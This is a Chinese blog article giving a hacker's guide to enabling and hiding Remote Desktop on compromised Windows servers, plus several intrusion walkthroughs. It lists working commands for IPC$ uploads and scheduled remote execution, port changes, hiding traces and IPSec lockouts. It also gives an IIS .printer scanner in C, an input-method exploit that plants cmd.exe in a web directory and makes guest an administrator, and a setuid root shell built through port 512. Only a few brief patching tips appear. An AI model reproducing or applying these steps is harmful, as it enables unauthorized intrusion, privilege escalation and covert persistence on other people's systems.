首页 > 媒体中心 > 黑客入侵方法和应对策略-终端服务攻略
201110月22

黑客入侵方法和应对策略-终端服务攻略

< ![CDATA[在漏洞不段出现的今天,入侵一台服务器已经不是什么新鲜事,但凡是入侵成功之后,都想尽办法来打开终端服务,什么是终端呢?又怎么在远程打开呢?看完本文,你就会成为一个开“终端的高手”。 什么是终端服务 3389又称Terminal Service,服务终端。在WindowsNT中最先开始使用的一种终端,在Win2K的Professional版本中不可以安装,在Server或以上版本才可以安装这个服务,其服务端口为3389。由于使用简单,方便等特点,一直受系统管理员的青昧。也正式因为他的简便,不产生交互式登陆,可以在后台操作,因此也受到了黑客朋友的喜爱,事实可以说明,现在大多数朋友在入侵之后,都想打开windows终端服务,甚至不惜重启对方的计算机,也要把终端服务安装上,由此可见他的普遍性。另,在在XP系统中又叫做“远程桌面”。 打开终端服务的各种方法 下面进入正题,开始今天的“终端”之旅。(各种工具我会提供) 一, 使用ROTS.VBS脚本 插拨广告: 1, 什么是VBS VBScript的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版). 正如其字面所透露的信息, VBS(VBScript的进一步简写)是基于Visual Basic的脚本语言. 我进一步解释一下, Microsoft Visual Basic是微软公司出品的一套可视化编程工具, 语法基于Basic. 脚本语言, 就是不编译成二进制文件, 直接由宿主(host)解释源代码并执行, 简单点说就是你写的程序不需要编译成.exe, 而是直接给用户发送.vbs的源程序, 用户就能执行了。 知道什么是VBS了,下面开始进行测试。首先你要获得这台主机的Administrator权限或Local System权限,具体怎么获得在这不必讨论。先来看看ROTS.VBS帮助.。(见图1) ROTS v1.01 Remote Open Terminal services Script, by zzzEVAzzz Welcome to visite www.isgrey.com Usage: cscript c:scriptpathROTS.vbs targetIP username password [port] [/r] port: default number is 3389. /r: auto reboot target. 一般的命令格式:ROTS.vbs <目标IP> < 用户名> < 密码> [服务端口] [自动重起选项]。

下面打开本地CMD,输入:ROTS.vbs XXX.XXX.XX.XXX dahubaobao dahu 3389 /fr

注意:
1,/fr为强制重启,/r为普通重启,不要搞混了。
2, 脚本会判断目标系统类型,如果不是server及以上版本,就会提示你是否要取消。

优点:成功率高。
缺点:必须重新启动。
二,使用批处理(bat)
open3389.bat,先来看看帮助:(见图2)
*******************Open3389*********************
使用方法:
open3389.bat ip user password
open3389.bat 目标ip 用户名 密码
还是打开CMD,输入:open3389.bat XXX.XXX.XX.XXX dahubaobao dahu

好了 就这样来打开3389,bat文件真的很好用,建议大家去学习。

优点:不必重新启动。
缺点:成功率不高。

三, 使用HBULOT
这个工具要上传到对方的机器,然后执行,比较麻烦。
C:>net use XXX.XXX.XX.XXXIPC$ “dahu” /user:”dahubaobao” //建立IPC连接
C:>copy HBULOT.exe XXX.XXX.XX.XXX WINNTadmin$ //上传到对方的systeme32目录下。
C:>net use XXX.XXX.XX.XXXIPC$ /del //断开IPC

然后telent过去,到对方的WINNTsysteme32目录下,直接运行HBULOT.exe即可(见图
3)。
—————————————————————————————————————

下面介绍的不需要工具,具体请看我的方法
首先telent过去,然后输入query user,使用这个命令的前提是安装终端,如果出现如图4
的情况,就表明安装了终端。如果没有,那就证明没有安装,请看我是怎么做的:

C:> dir c:sysoc.inf /s //查找sysoc.inf文件的位置
c:WINNTinf 的目录

2003-06-19 12:05 3,458 sysoc.inf
1 个文件 3,458 字节

C:>dir c:sysocmgr.* /s //查找组件安装程序
c:WINNTsystem32 的目录

1900-10-29 04:00 42,768 sysocmgr.exe
1 个文件 42,768 字节

C:>echo [Components] > c: s
C:>echo TSEnable = on >> c: s
//建立无人职守安装的参数
C:>sysocmgr /i:c:winntinfsysoc.inf /u:c: s /q
开启3389,并且重新启动,如果
C:>sysocmgr /i:c:winntinfsysoc.inf /u:c: s /q /r
开启3389,不重新启动。

如果重新启动,那等几分钟就可以用客户端连接了,如果没重新启动,那就要等对方重新启动之后,才能连接(看你的耐心喽)。
———————————————————————————-

在介绍一种很方便的做法,就是做一个bat文件,在本地运行即可,下面是bat的内容
echo [Components] > c: s

echo TSEnable = on >> c: s

C:sqlsysocmgr /i:c:winntinfsysoc.inf /u:c: s /q

net use ipipc$ dahu /user:dahubaobao

copy 路径:xxx.bat ipwinntadmin$

at time 00:00:00 xxx.bat

主机执行之后,会自动重启,之后就可以利用3389登陆了。

这个bat文件很容易,前两条语句是“建立无人职守安装的参数”,第三条是真正的“开启终端的命令”,第四条是“IPC连接”,第五是“把bat文件copy到对方的winntsystem32目录下”,最后是用“time获取时间,然后用at命令启动。”

(个人推荐这种方法,比较简单,有点IPC知识的就可以实现。)

修改终端服务端口
这一步很重要,我们辛苦的开启了终端服务,不能因为“3389”的暴露而前功尽弃,所以端口是必须修改的,先说一下原理,终端服务安装完成后,会在注册表中增加两个键,其键值分别为16进制的3389,即“0x00000D3D”。现在打开“运行”,输入“regedit”启动注册表编辑器,然后打开HKEY-LOCAL_MACHINESystemCurrentControlSetControlTerminalServerWdsRepwdTdsTcp和HKEY-LOCAL_MACHINESystemCurrentControlSetControlTerminalServerWinStartionsRDP-TCP子键,修改“PortNumber”,假如我们修改成8080端口,其键值为“1F90”,保存退出,注意,重启之后才能生效,修改完成之后,会到本地,打开客户端,输入:XXX.XXX.XXX.XX:8080,就可以连接了。(见图5,6)

有的朋友对注册表不熟悉,更有甚者恐惧注册表,认为是很难驾御的地方,那好办,下面介绍一个小工具,可以在命令行下修改端口,看我是怎么做的:还是先来看帮助
=======================================================
Change Local or Remote TermService Port Program
Code By wawa@21cn.Com Http://www.Haowawa.Com
=======================================================
Local Usage: c3389 7358
Remote Usage: c3389 192.168.0.1 adminname password 7358

Local Host TermService Port is : 3389

本地修改:c3389 端口
远程修改:c3389 XXX.XXX.XXX.XX Admin用户 密码 端口

先来看本地修改:
打开CMD。输入c3389 post,具体见图7。

在来看远程修改:
输入c3389 XXX.XXX.XXX.XX adminname password post。

到这里,端口就修改关闭了。

隐藏上次登陆过的用户名
在终端安装完成后,并且你已经登陆过,那么再次登陆就会显示上次登陆过的用户名,如果我们添加的帐户(或克隆)被管理员看到了,那不起疑心才怪呢?所以我们要隐藏登陆过的用户,要实现隐藏,还是要修改注册表,具体看我怎么做:在“运行”中输入“regedit”启动注册表编辑器,依次展开:HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon子键下的DontDisplayLastUserName,默认键值为“0”,我们修改为“1”,保存,退出,重新启动之后生效。见图8

限制/指定连接终端的地址
现在我们已经给肉鸡看了终端,并且修改了端口,还做了一些简单的维护,但这还是不够的,假如某人知道了我们修改过的端口就是终端服务,那就挂了,所以还要在肉鸡上通过IPSEC这个系统自带的而且功能非常强大的工具来做一下限制,具体请看我的演示:

1,静态IP
假如我的IP是111.222.255.255,我们通过设置IPSEC,来让肉鸡上的终端只通过我的连接,而拒绝除了我以外的所有连接,好,就这么办,先登陆终端,然后打开“管理工具”?“本地安全设置”,设置如下:

首先右键点击“IP安全策略 在本地机器”选择“创建IP策略”,然后打开了一个向导,即“IP安全策略向导”?“下一步”?“名称”?“下一步”取消“激活默认响应规则”?“下一步”?“完成”,这是会重新打开一个“新IP安全策略 属性”(见图9),取消“使用“添加向导””?“添加”?出现“新规则属性”?“添加”?出现“IP筛选器列表”?取消“使用“添加向导””?“添加”?出现“筛选器 属性”,选择“寻址”标签,源地址设为‘任何IP地址’,目的地址设为‘我的IP地址’;在选择“协议”标签,选择协议类型设为‘TCP’,设置IP协议端口‘从任意端口’?‘到此端口8080’?“确定”(见图10,11)–“关闭”?回到“新规则 属性”?选择“新IP筛选器列表”?在选“筛选器操作”标签?取消“使用“添加向导””?“添加”?在“安全措施”标签下选择“阻止”?“确定”?“关闭”(见图12),回到“新规则 属性”?选中“新筛选器操作”?“关闭”?“关闭”?回到“本地安全设置”?选中“新IP安全策略”?右键点击“指派”(见图13),好了,总算设置完了,这样所有的机器就无法连接8080(终端)端口了。

注意:以上都是使用默认的名称,所以大家在设置的时候注意一下。

由于上边的设置,把我自己也挡在了外面,这可不是我所想要的,所以,我们还要建立一条规则,允许我的IP 111.222.255.255访问对方的8080端口,方法如下:

右键点击“新IP安全策略”?“属性”?不选“使用“添加向导””?出现“新规则 属性”?“添加”?出现“IP筛选器列表”?不选“使用“添加向导””?“添加”?出现“筛选器 属性”?选择“寻址”标签,设置成如图14的样子,在选择“协议”标签,设置成如图12的样子,然后“确定”?“关闭”?回到“新规则 属性”?选中“新IP筛选器列表(1)”?在选“筛选器操作”标签?在选“允许”?“关闭”?“关闭”?回到“本地安全设置”。
(见图15)

2,动态IP

在中国,拥有静态IP的人毕竟是少数,大多数朋友还都是拨号,虽然现在ADSL很普遍,但ADSL还是虚拟拨号,即动态IP,所以用上边的方法设置IPSEC肯定是不行的,所以,现在我们要修改上边的一条规则,使IPSEC可以通过 特定子网的连接,方法很简单,其他的都不用改,按照图16的方法设置就可以了。

【3389肉鸡快捷键】
CTRL+ALT+END 把“任务管理器”抓出来 
CTRL+ALT+BREAK这个就是切换全屏显示。
CTRL+ALT+END 打开“Windows 安全”对话框。

ALT+PAGE UP 从左向右在程序之间切换。

ALT+PAGE DOWN 从右向左在程序之间切换。

ALT+INSERT 按启动顺序来回切换程序。

ALT+HOME 显示“开始”菜单。

CTRL+ALT+BREAK 在窗口(如果适用)和全屏显示之间切换客户端。

ALT+DELETE 显示窗口的弹出式菜单。

CTRL+ALT+减号 (-) 将客户端活动窗口的快照放在“终端”服务器的剪贴板上(与在本地计算机上按下 ALT+PrintScrn 键时的功能相同)。

CTRL+ALT+加号 (+) 将整个客户端窗口区域的快照放在“终端”服务器的剪贴板上(与在本地计算机上按下 PrintScrn 键时的功能相同)。

注意:

在NEC98 计算机中,这些快捷键在以下两种情况下会有些不同:

CTRL+ALT+BREAK由 F12 键代替。
CTRL+ALT+END 由 F15 键代替。

【80端口、512端口、3389端口……入侵实例】
80端口、512端口、3389端口……入侵实例

(2004-04-09 17:16)
有很多网站为了安全起见,在WEB Server前面架了防火墙,或者做了TCP/IP过滤,对外只开放TCP 80端口。从入侵者角度来看,要入侵那么从80上跑的CGI入手是比较可行的,当然也可以用别的办法,例如旁敲侧击,呵呵。从网管角度来看,一是要保证CGI的安全性,另外网络的整体安全性也是很重要的。针对基于80端口入侵、防范而出的CGI扫描器数不胜数,但基本上原理都一样。
  CGI扫描器原理说起来其实非常简单,可以用四句话来概括:<1>连接目标WEB SERVER;<2>发送一个特殊的请求;<3>接收目标服务器返回数据;<4>根据返回数据判断目标服务器是否有此CGI漏洞。
  当管理的服务器达到一定数量的时候,手工检测自己的服务器是否存在各种各样的CGI漏洞,那就太消耗时间和精力了,所以一个网管手上有个比较好用的CGI漏洞扫描器还是必要的。OK!今天我们就自己来动手用C写一个简单的CGI扫描器,帮助自己在日常工作中检测服务器:))
  源代码如下,很多地方我都加了注释,别嫌我烦哦:))编译好的程序可以从http://eyas.3322.net/program/cgicheck.exe下载。
  /************************************************************************* Module:CGICheck.cpp Author:ey4s Date:2001/5/16说明:这是一个Console下多线程,带有进度显示的CGI扫描器的模板,更改一下szSign和SendBuff就可以扫描其他CGI漏洞,设置了连接、发送、接收超时,速度还可以哦。希望可以帮助到admins检测自己的服务器:))
  *************************************************************************/ #include
                 
  #define iPort 80//目标Web Server端口#define szSign “500 13
Server: Microsoft-IIS/5.0”//根据此标志来检查目标是否有漏洞
                 
  #pragma comment(lib,“ws2_32.lib”)
  /////////////////////////////////////////////////////////////////////////// // //定义&初始化全局变量// char *SendBuff=“GET /NULL.printer
”,//发送的请求buff CurrentTarget[52]=,//存放最后一个线程将扫描的目标turn[4][2]=;//显示进度时的字符int SendBuffLen=strlen(SendBuff),//发送的buff长度iConnTimeout,//TCP Connect TimeOut ii=0,//扫描进度iTotal;//服务器总数HANDLE hSemaphore=NULL,//信标内核对象句柄,用来控制线程数量hStdout;//console标准输出句柄,做进度显示的时候用的struct timeval timeout;//连接、发送和接收的超时值DWORD SleepTime;//每个一个线程后等待的时间/* SleepTime值根据用户输入的线程数量[ThreadNum]和TCP ConnectTimeOut[CONNTIMEO]来计算。确保在CONNTIMEO时间左右开ThreadNum个线程。这样在CONNTIMEO时间后,所开的线程开始陆续超时退出,可以继续稳定的开线程,可以有效的保证同时有ThreadNum个线程在运行。
  */ /////////////////////////////////////////////////////////////////////////// void ShowError(char *);//显示出错信息函数,可以写完善一些,偶偷懒了:)
  BOOL ResetCursor(void);//重置光标位置,线程输出的时候调用的DWORD WINAPI ShowProInfo(LPVOID);//显示进度信息DWORD WINAPI scan(LPVOID);//扫描函数void usage(char *);//帮助函数/////////////////////////////////////////////////////////////////////////// int main(int argc,char **argv)
  { HANDLE hThread=NULL;//线程句柄DWORD dwThreadID;//线程ID struct sockaddr_in sa;int i,MaxThread;//最大线程数量WSADATA wsd;long PreviousCount;clock_t start,end;//程序运行的起始和结束时间double duration;
                 
  //检查用户输入参数if(argc!=5)
  { usage(argv[0]);return 1;} //get target range int StartNet=inet_addr(argv[1]);int StopNet=inet_addr(argv[2]);int StartHost=ntohl(StartNet);int StopHost=ntohl(StopNet);//取得线程数量MaxThread=atoi(argv[3]);//取得conn超时时间iConnTimeout=atoi(argv[4]);//检查参数合法性if((iConnTimeout>6) || (iConnTimeout<2) || (MaxThread<1) || (MaxThread>500) ||(StopHost { usage(argv[0]);return 1;} //计算时间SleepTime=1000*iConnTimeout/MaxThread;//设置连接超时值timeout.tv_sec = iConnTimeout;timeout.tv_usec =0;__try { //开始计时start=clock();//加载winsock库if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
  { ShowError(“WSAStartup”);__leave;} //创建信标内核对象句柄hSemaphore=CreateSemaphore(NULL,MaxThread,MaxThread,NULL);if(hSemaphore==NULL)
  { ShowError(“CreateSemaphore”);__leave;} //取得console标准输出句柄hStdout=GetStdHandle(STD_OUTPUT_HANDLE);if(hStdout==INVALID_HANDLE_value)
  { ShowError(“GetStdHandle”);__leave;} //设置目标总数iTotal=StopHost-StartHost;//创建进度显示线程hThread=CreateThread(NULL,0,ShowProInfo,NULL,0,&dwThreadID);if(hThread==NULL)
  { ShowError(“1 CreateThread”);__leave;} //关闭句柄CloseHandle(hThread);//循环创建扫描线程for(i=StartHost;i< =StopHost;i++)   { //等待信标内核对象通知WaitForSingleObject(hSemaphore,INFINITE);//create thread to scan hThread=CreateThread(NULL,0,scan,(LPVOID)i,0,&dwThreadID);if(hThread==NULL)   { ShowError(“2 CreateThread”);break;} //进度自加1 ii++;//重设最后一个线程扫描的目标sa.sin_addr.s_addr=htonl(i);strncpy(CurrentTarget,inet_ntoa(sa.sin_addr),sizeof(CurrentTarget));//休息一会儿)   Sleep(SleepTime);//关闭线程句柄CloseHandle(hThread);} //等待所有线程结束while(1)   { WaitForSingleObject(hSemaphore,INFINITE);if(!ReleaseSemaphore(hSemaphore,1,&PreviousCount))   { ShowError(“main() ReleaseSemaphore”);Sleep(5000);break;} if(PreviousCount==(MaxThread-1))   { printf(“ All done.”);break;} Sleep(500);} }//end of try //搞定,清场,收工__finally { //计时结束end=clock();//转换时间格式duration = (double)(end - start) / CLOCKS_PER_SEC;//显示所用时间printf(“ Complete.Scan %d targets use %2.1f seconds.Speed %0.3g/s ”,iTotal,duration,iTotal/duration);//关闭句柄CloseHandle(hStdout);CloseHandle(hSemaphore);WSACleanup();} return 0;} /////////////////////////////////////////////////////////////////////////// // //回显错误信息函数// void ShowError(char *msg)   { MessageBox(NULL,msg,“ERROR”,0);//printf(“ %s failed:%d”,GetLastError());} ////////////////////////////////////////////////////////////////////////// // //重置光标位置函数,以便扫描线程输出结果// BOOL ResetCursor()   { CONSOLE_SCREEN_BUFFER_INFO ConsoleScreenBufferInfo;//取得当前光标位置if(!GetConsoleScreenBufferInfo(hStdout,&ConsoleScreenBufferInfo))   { ShowError(“GetConsoleScreenBufferInfo”);return FALSE;} //设置光标X坐标为0 ConsoleScreenBufferInfo.dwCursorPosition.X=0;//设置当前光标位置SetConsoleCursorPosition(hStdout,ConsoleScreenBufferInfo.dwCursorPosition);return TRUE;} /////////////////////////////////////////////////////////////////////////// // //显示进度信息函数// DWORD WINAPI ShowProInfo(LPVOID lp)   { int j,k;CONSOLE_SCREEN_BUFFER_INFO ConsoleScreenBufferInfo;float m;for(j=0;ii { //休息一会儿))   Sleep(SleepTime);//取得当前光标位置if(!GetConsoleScreenBufferInfo(hStdout,&ConsoleScreenBufferInfo))   { ShowError(“GetConsoleScreenBufferInfo”);return 1;} //设置百分比进度显示的X坐标ConsoleScreenBufferInfo.dwCursorPosition.X=0;//设置当前光标位置SetConsoleCursorPosition(hStdout,ConsoleScreenBufferInfo.dwCursorPosition);//已经完成的百分比m=(ii+1)*100.00/iTotal;//显示进度if(ii==iTotal)   { printf(“******** 100%% Wait %d seconds to exit ******** ",iConnTimeout);   break;} else { k=j%4;printf(“%-15s %s [%d/%d] %s %%%0.3g”,CurrentTarget,turn[k],ii,iTotal,turn[k],m);} }//end of for return 0;} /////////////////////////////////////////////////////////////////////////// // //扫描函数// DWORD WINAPI scan(LPVOID lp)   { int i=(int)lp,iErr;struct sockaddr_in server;SOCKET s=INVALID_SOCKET;char RecvBuff[1024]=,*ptr;int RecvBuffLen=sizeof(RecvBuff);u_long ul=1;//初始化为为非0值fd_set r,w;                     //create socket s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if(s==INVALID_SOCKET)   { printf(“ Create socket failed:%d”,GetLastError());ExitProcess(1);} //fill the addr struct server.sin_family=AF_INET;server.sin_port=htons(iPort);server.sin_addr.S_un.S_addr=htonl(i);__try { //设置socket为非锁定模式,ul为0值的话,那么soocket将被设置为锁定模式iErr=ioctlsocket(s,FIONBIO,(unsigned long*)&ul);if(iErr==SOCKET_ERROR )   { ResetCursor();ShowError(“ioctlsocket”);ExitProcess(1);} //printf(“ %X ioctl ok.strat conn”,i);//connect to target connect(s,(struct sockaddr *)&server,sizeof(server));//printf(“ %X conn return,start select w”,i);//设置select参数FD_ZERO(&w);FD_SET(s, &w);//等待connect成功&socket可写iErr=select(0, 0, &w, 0, &timeout);//printf(“ %X select w return %d”,i,iErr);//等待返回后,socket仍不可写则退出if((iErr==SOCKET_ERROR) || (iErr==0))   { //printf(“ %X select return w err,exit”,i);__leave;} //socket可写则继续else { //send buff to target //printf(“ %X send”,i);iErr=send(s,SendBuff,SendBuffLen,0);//printf(“ %X send return”,i);if(iErr==SOCKET_ERROR)   __leave;} //等待socket可读FD_ZERO(&r);FD_SET(s, &r);//printf(“ %X start select r”,i);iErr=select(0, &r, 0, 0, &timeout);//printf(“ %X select r return %d”,i,iErr);if((iErr==SOCKET_ERROR) || (iErr==0))   { //printf(“ %X select r err,exit”,i);__leave;} else { //recv buff from target //printf(“ %X start recv”,i);iErr=recv(s,RecvBuff,RecvBuffLen,0);//printf(“ %X recv ret”,i);if(iErr==SOCKET_ERROR)   __leave;} //verify buff ptr=strstr(RecvBuff,szSign);if(ptr!=NULL)   { //线程输出前要先调用ResetCursor函数ResetCursor();//输出信息后务必加一个以上换行符号,输出前请别加换行符号,以免显示混乱printf(“[%-15s] has .printer mapped. ",inet_ntoa(server.sin_addr));   } __finally { if(!ReleaseSemaphore(hSemaphore,1,NULL))   ShowError(“thread ReleaseSemaphore failed”);closesocket(s);} return 0;} /////////////////////////////////////////////////////////////////////////// void usage(char *proname)   { printf(“ %s v0.1 only can find IIS5 .Printer mapped”“ Power by ey4s 2001.5.20”“ http://www.patching.net”“ Usage:%s ”“ Notice”“ StartIP StopIP ==>Don’t forgot StopIP must large than StartIP ”“
ThreadNum ==>Thread number,please input between 1-500”“
CONNTIMEO ==>TCP connect timeout,please input between 2-6”“

Example”“
%s 192.168.0.0 192.168.255.255 200 2”,proname,proname,proname);}程序在VC++6.0上编译通过,在windows2000上运行良好:)
                 
                 
                 
  389端口的入侵3389端口的入侵3389端口的入侵
                 
  由于微软对中国产品不付责任的态度,使得安装了终端服务和全拼的w2k服务器存在着远程登陆并能获取超级用户权限的严重漏洞。
  其过程如下:
                 
  1.扫描3389 port终端服务默认;2.用终端客户端程序进行连接;3.按ctrl+shift调出全拼输入法(其他似乎不行),点鼠标右键(如果其帮助菜单发灰,就赶快赶下家吧,人家打补丁了),点帮助,点输入法入门;4.在“选项”菜单上点右键??>跳转到URL“,输入:c:winntsystem32cmd.exe.(如果不能确定NT系统目录,则输入:c:或d:……进行查找确定);5.选择”保存到磁盘“选择目录:c:inetpubscripts,因实际上是对方服务器上文件自身的复制操作,所以这个过程很快就会完成;6.打开IE,输入:http://ip/scripts/cmd.exe?/c dir怎么样?有cmd.exe文件了吧?这我们就完成了第一步;7.http://ip/scripts/cmd.exe?/c echo net user guest /active:yes>go.bat 8.http://ip/scripts/cmd.exe?/c echo net user guest elise》go.bat 9.http://ip/scripts/cmd.exe?/c echo net localgroup administrators /add guest》go.bat 10.http://ip/scripts/cmd.exe?/c type go.bat看看我们的批文件内容是否如下:
                 
  net user guest /active:yes net user guest elise net localgroup administrators /add guest 11.在“选项”菜单上点右键??>跳转到URL“,输入:c:inetpubscriptsgo.bat ??>在磁盘当前位置执行;12.呵呵,大功告成啦,这样我们就激活了服务器的geust帐户,密码为:elise,超级用户呢!(我喜欢guest而不是建立新帐户,这样似乎不易被发现些),这样你就可用IPC$连接,想怎样做就怎样做了,当然,你也可用guest直接登陆到他的服务器,到他机器上去跳舞吧:-)
                 
  注意事项:1.当你用终端客户端程序登陆到他的服务器时,你的所有操作不会在他的机器上反应出来,但如果他正打开了终端服务管理器,你就惨了了:(这时他能看到你所打开的进程id、程序映象,你的ip及机器名,并能发消息给你!
  2.当你连接时,会加重对方服务器的负荷,非常容易造成对方死机和断线,所以你的操作快点为妙。
  3.尽快做好后门,暂时不要上传任何程序,一是防止断线,二是防止对方打上补丁!
  个人观点:1.在IE下,所拥有的只是iusr_machine权限,因而,你不要设想去做越权的事情,如启动telnet、木马等;2.url的跳转下,你将拥有超级用户的权限,好好利用吧3.跳转到哪个目录下,通常只能查看、执行当前目录的文件,不能进入到子目录,如想进入,再跳一次吧!:)
  4.此法似乎与对方的防火墙无关哦!
  5.据本人实际操作,发现极易断线,但应与占用服务器资源无关。对方是384M RAM+PIII,是静态IP,主要是做数据库服务器,RAID硬盘,SCSI CD ROM,开机18天了,02:00进去时,仍时常吊线。
                 
  堵漏办法:1.打补丁;2.删掉全拼输入法,用标准就成了嘛^_^;3.服务中关掉:Terminal Services,服务名称:TermService,对应程序名:system32 ermsrv.exe;
                 
                 
  512端口入侵
                 
  已经是第六十几天了,我的Celeron 533仍不知疲倦的跑着JOHN……我是无意中注意到这个网站的,当时只是想看一下,方法是各位大虾都会的FINGER,然后猜用户口令进去的。进去之后PASSWD也没有SHADOWN,直接就可以看到,该系统用的是Digital unix系统,从PASSWD看得出里面的用户只有两个组:root和users,我猜中的就是一users级别的,发现这个级别的用户几乎没有什么权限,TELNET上去后发现/USR/USERS/XXX是各用户的HOME,而它们的属性全是drwx??,也就是说这里的用户是互不信任的关系(这一点大家在各免费主页服务器上经常可以看到),看来猜出再多用户级口令也没有用的。
                 
                 
  root级的用户只有两名:root和shut.root我用john已跑了60多天,显然不可能再跑出来了,但幸运的是shut口令已跑出来了。我毫不犹豫的telnet上去??然后,网站就关闭了!@#~!#^%,我真笨,怎么没想到shut口令是干什么的?
                 
                 
  网站很快就又开启了,我发现shut口令还是没改!这个网管是怎么当的,系统关了也不查一下原因!很显然,这个网站上只有root是有水平的,但他与服务器可能不在同地,对于开、关机之类的事情不能直接操纵,与是给当地的操作员一个root级帐号,然后在。profile文件中做了一个shell,使得帐号一登录就自动关系统。看看系统这么周密的设计,我想root设计这个shell时绝对关掉了path,所以我不打算在优先的path路径中放一同名的shell来阻止它。我如果能改掉这个文件再telnet上去不就是root级了吗?
                 
  但是shut的HOME目录是drwx??,别的帐号根本进不去。没关系,我试试ftp,530 user shut access denined(被拒绝),users组可以ftp上去同样进不了shut目录。而且该网站根本就没有开WWW服务,怎么办?为这个网站陆陆续续研究了许久,我总是乐观的鼓励自己,“起码我已经知道几十种进不去的方法了……”。“真正的黑客从来都是把困难当作乐趣,敞开的大门你请他进他都不进呢!”如此六十多天过去了,只到有一天……
                 
  我再一次用haktek扫描该网站,结果如下:Port 21 found. Desc=’ftp’ Port 23 found. Desc=’telnet’ Port 25 found. Desc=’smtp’ Port 79 found. Desc=’finger’ Port 111 found. Desc=’portmap/sunrpc’ Port 512 found. Desc=’biff/exec’ Port 513 found. Desc=’login/who’ Port 514 found. Desc=’shell/syslog’ Port 515 found. Desc=’printer’ Port 1024 found. Port 1025 found. Port 1526 found. Port 1528 found.
                 
  一个以前一直没有注意的Port 512引起我的注意,这个端口是什么时候开的?要知道它可以让用户不登录就可以运行服务器上的命令!!!赶紧试试!
                 
  打开一个软件winrsh32,填入user和password,在命令中填上ls -la,点运行哇,文件全列出来了,剩下的就简单了:cp /bin/sh /tmp/.temp;chown root /tmp/.temp;chmod 4755 /tmp/.temp.然后再用那个破掉的user级帐号telnet,cd/tmp;。temp.当#映入眼帘时,心却往下一沉,我突然感到一丝落寂……可惜这个root一世小心,却毁在了让shut可以使用512端口上。看来破坏一个世界总是比建立一个世界简单……
  39端口入侵139端口入侵139端口的入侵,主要是通过建立空连接,而获得用户名和共享名,接着用字典法或穷举法来猜测ADMINISTRATORS的密码,这样可获得最高权限。
  解决方法:1、禁止匿名共享。
  2、禁止管理共享。
  1433端口入侵1433端口入侵1433端口的入侵,主要是利用MS SQL SERVER默认sa的密码是空,通过远程执行命令而达到目的,或通过穷举法猜测密码。

]]>

文章作者:
本文地址:http://www.zhaibu.com/246.html
版权所有 © 转载时必须以链接形式注明作者和原始出处!